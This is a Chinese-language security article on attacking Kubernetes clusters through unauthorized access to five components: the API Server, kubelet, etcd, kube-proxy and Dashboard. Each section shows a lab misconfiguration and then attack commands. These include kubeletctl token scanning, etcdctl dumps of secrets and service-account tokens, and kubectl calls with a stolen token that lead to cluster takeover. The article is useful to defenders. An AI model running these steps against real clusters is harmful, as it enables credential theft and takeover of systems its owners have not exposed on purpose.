K8s攻击案例:组件未授权访问导致集群入侵

共 4614字,需浏览 10分钟

 ·

2024-03-19 17:00

K8s集群往往会因为组件的不安全配置存在未授权访问的情况,如果攻击者能够进行未授权访问,可能导致集群节点遭受入侵。比较常见的的组件未授权访问漏洞,主要包括 API Server 未授权访问、kubelet 未授权访问、etcd 未授权访问、kube-proxy 不安全配置、Dashboard未授权访问。

接下来,我们将对这几个未授权访问的攻击场景和攻击过程进行详细的分析。

01、 API Server未授权访问


API Server 是集群的管理入口,任何资源请求或调用都是通过kube-apiserver提供的接口进行。默认情况下,API Server提供两个端口服务,8080和6443,配置不当将出现未授权访问。

8080端口,默认不启动,无需认证和授权检查,一旦暴露将导致未授权访问。

6443端口,默认启动需要认证,如果出现配置错误,将system:anonymous用户绑定到cluster-admin用户组,将出现未授权访问。

(1)攻击场景

insecure-port默认值为0,将其修改为8080端口,再添加insecure-bind-address=0.0.0.0,允许远程访问本地的8080端口。

          
            vi /etc/kubernetes/manifests/kube-apiserver.yaml
          
          
            
              
- --insecure-port=8080 - --insecure-bind-address=0.0.0.0

修改kube-apiserver.yaml文件:

0d9e9400493d2ca9bff44e8e41aae59a.webp


无需启动,等待一会以后,8080服务自动起来了,通过浏览器可以访问8080端口返回API列表。

62724fb32a92bb5375f2c61519b6173d.webp


(2)攻击过程

未授权访问的情况下,kubectl可以使用-s参数指定Kubernetes API服务器地址和端口,直接执行命令创建恶意Pod,将其挂载到Master节点,从而实现对整个集群的接管。

3667894ba54315e810ee41c0d7c8f187.webp

02、 kubelet未授权访问

kubelet会在集群中每个节点运行,对容器进行生命周期的管理,如果kubelet配置不当,攻击者可创建恶意Pod尝试逃逸到宿主机。

(1)攻击场景

anonymous默认为false,修改为true,并将mode从Webhook修改为AlwaysAllow。

        
          vi /var/lib/kubelet/config.yaml
        
        
          anonymous:
        
        
              enabled: true
        
        
          
            
authorization: mode: AlwayAllow

修改node节点配置,重启kubelet服务。

2b621dc26da8581958fe7e5e40022cfd.webp

访问kubelet 10250服务,出现未授权访问。

e0ffcd4f088bb12619900dac573dafbc.webp

(2) 攻击过程

kubeletctl 是一个用于与kubelet API 交互的命令行工具,可以通过kubeletctl执行命令获取Node权限。从Node节点窃取高权限服务账户token,使用服务账户向API Server进行验证,从而获取集群权限。

      
        wget https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64
      
      
        chmod 777 kubeletctl_linux_amd64
      
      
        mv ./kubeletctl_linux_amd64 kubeletctl
      
      
        
          #列出kubelet的所有pod
        
      
      
        ./kubeletctl pods -i --server 192.168.44.136
      
      
        
          
#搜索容器里面的Service Account ./kubeletctl scan token -i --server 192.168.44.136

03ed32e08d788e23a5c27764734a9c7b.webp

03、etcd 未授权访问

etcd 用于存储K8s集群中的所有配置数据和状态信息,如果管理员配置不当,导致etcd未授权访问的情况,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。

(1)攻击场景

将client-cert-auth=true 改为false,把listen-client-urls监听修改为0.0.0.0,将端口被暴露出去,导致etcd存在未授权访问漏洞。

        
          vi /etc/kubernetes/manifests/etcd.yaml
        
        
              - --client-cert-auth=false
        
        
              - --listen-client-urls=http://0.0.0.0:2379
        
      

d19214fcf184809ea3955e42cb762f2e.webp

(2)攻击过程

下载etcdctl直接用命令行即可访问etcd

      
        s://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz
      
      
        tar -xf etcd-v3.4.9-linux-amd64.tar.gz
      
      
        cd etcd-v3.4.9-linux-amd64
      
      
        
          #读取etcd中存储的数据,通过--limit选项限制数量
        
      
      
        export ETCDCTL_API=3
      
      
        ./etcdctl --endpoints=192.168.44.138:2379  get / --prefix --limit=2
      
    

1018ff456c19d997845d3456663c615c.webp

      
        
          #获取k8s的secrets和token
        
      
      
         ./etcdctl --endpoints=192.168.44.138:2379  get / --prefix --keys-only   |grep secrets
      
      
         ./etcdctl --endpoints=192.168.44.138:2379  get /registry/secrets/test/bypass-token-p6xpj
      
    
4a16208763f019a4e92cf21ddac5e618.webp

成功获取高权限服务账号token

d99eede292d3cf6c3d682701eca858f5.webp

通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。

      
        kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“[.token.]” -n kube-system get pods
      
    

7a6107f3a229253d8115e77874175541.webp

04、kube-proxy不安全配置

通过使用kube-proxy暴露未授权访问的服务或组件,可能会形成外部攻击入口点,从而导致集群被入侵。

(1)攻击场景

使用kubectl proxy命令设置API server接收所有主机的请求。

        
          kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
        
      
e68a07b4a7a684c4c794683190c6d5b4.webp

(2)攻击过程

攻击者可通过特定端口访问API Server,可按照API Server未授权访问情况直接接管集群。

ce62b8a4ae25b534e11824c3b10b335d.webp

05、Dashboard未授权访问

Dashboard 在配置不当情况下有可能会产生未授权访问的情况,从而有可能进一步造成接管集群。

(1)攻击场景

在deployment中开启enable-skip-login,那么就可以在登录界面点击跳过登录进dashboard。

e6408cfc96dd76df22e8adea5b913528.webp

将默认的Kubernetes-dashboard绑定cluster-admin,拥有管理集群管权限

        
          kubectl create clusterrolebinding dashboard-1  --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:kubernetes-dashboard
        
        
          
            

9444517c5532724192d8c9506bb10831.webp


(2)攻击过程

访问Kubernetes 仪表盘,出现了跳过按钮,点击跳过进入dashboard。

8a2ef1b9ec07d236899db7c43ede1cc6.webp

进入控制面板,可以看到整个集群的资源情况。

cf3a515458831af8492a7ecb38b3230e.webp

攻击者通过创建恶意pod,将其挂载到Master节点,从而实现对整个集群的接管。

72ce3f236fc79eb19a9acf463f3828d5.webp

浏览 43
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报